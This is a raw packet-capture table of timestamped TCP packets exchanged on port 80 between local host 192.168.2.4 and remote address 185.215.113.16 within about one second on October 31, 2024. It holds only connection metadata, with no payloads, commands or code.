Oct 31, 2024 23:38:10.153165102 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.153187990 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.153764009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153774977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153786898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153805017 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.153805971 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153819084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153830051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153834105 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.153842926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153858900 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.153879881 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.153985023 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.153996944 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154007912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154020071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154023886 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154032946 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154045105 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154052019 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154056072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154068947 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154076099 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154094934 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154108047 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154113054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154119968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154130936 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154143095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154148102 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154155016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154162884 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154194117 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154364109 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154376030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154386997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154398918 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154407978 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154411077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154422045 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154424906 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154433966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154453039 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154454947 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154479027 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154498100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154503107 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154536009 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154556036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154567957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154580116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154593945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154607058 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154619932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154711008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154722929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154733896 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154745102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154755116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154756069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154766083 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154778004 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154783010 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154788017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154798031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154798985 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154812098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154823065 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.154839039 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.154860020 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155417919 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155430079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155442953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155453920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155462980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155469894 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155472994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155479908 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155484915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155498981 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155520916 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155597925 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155607939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155616999 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155627012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155637026 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155642986 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155647039 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155657053 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155659914 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155666113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155670881 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155677080 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155700922 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155716896 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155720949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155726910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155735970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155755043 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155767918 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155936003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155946016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155953884 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155963898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155972958 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155977011 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.155982971 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.155992031 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156001091 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156001091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156012058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156022072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156025887 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156032085 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156042099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156044006 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156050920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156055927 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156060934 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156078100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156084061 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156089067 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156101942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156105042 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156117916 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156127930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156127930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156136036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156146049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156155109 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156171083 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156176090 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156182051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156192064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156200886 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156203032 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156213045 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156219959 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156223059 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156234026 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156234026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156244040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156246901 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156272888 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156294107 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156296968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156306982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156316042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156331062 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156335115 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156341076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156343937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156351089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156361103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156371117 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156397104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156430960 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156440973 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156450033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156460047 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156469107 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156470060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156478882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156493902 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156517982 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156645060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156688929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156723022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156732082 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156743050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156752110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156764030 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156765938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.156785965 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.156799078 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.157016039 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157059908 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.157094002 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157104015 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157113075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157123089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157136917 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.157160044 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.157241106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157250881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157259941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157269001 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157279015 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157283068 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.157289028 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157294989 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.157299042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157309055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157319069 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157322884 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.157327890 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157339096 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.157349110 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.157354116 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.157371998 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.236180067 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236191034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236200094 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236272097 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236288071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236296892 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236321926 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.236321926 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.236355066 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.236370087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236381054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236385107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236393929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236403942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236424923 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.236433029 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.236617088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236627102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236637115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236645937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236656904 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236666918 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236675024 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.236675978 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236685038 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.236689091 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.236706972 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.236716986 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240562916 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240573883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240582943 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240608931 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240608931 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240618944 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240628958 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240639925 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240643978 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240672112 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240674019 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240689039 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240691900 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240700006 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240710974 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240720034 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240720987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240746021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240746021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240801096 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240814924 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240823984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240833044 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240837097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240843058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240844965 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240854025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240863085 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240870953 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240870953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240883112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240890980 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240894079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240910053 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240930080 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.240955114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240963936 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240972996 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240982056 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.240999937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241018057 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241101027 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241111040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241115093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241123915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241128922 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241133928 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241138935 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241142988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241147995 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241156101 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241161108 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241164923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241169930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241178989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241189957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241202116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241208076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241276026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241276026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241473913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241483927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241492987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241503000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241517067 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241519928 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241528034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241529942 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241544008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241550922 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241554022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241564035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241569996 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241573095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241584063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241589069 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241591930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241602898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241614103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241615057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241625071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241627932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241635084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241645098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241653919 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241655111 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241664886 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241677046 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241677999 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241687059 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241695881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241698980 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241705894 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241714954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241719961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241739035 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241759062 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241880894 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241897106 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241913080 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241921902 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241925955 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241931915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241941929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241947889 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241950989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241961002 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241971016 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.241976023 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241986990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.241987944 CET	49806	80	192.168.2.4	185.215.113.16
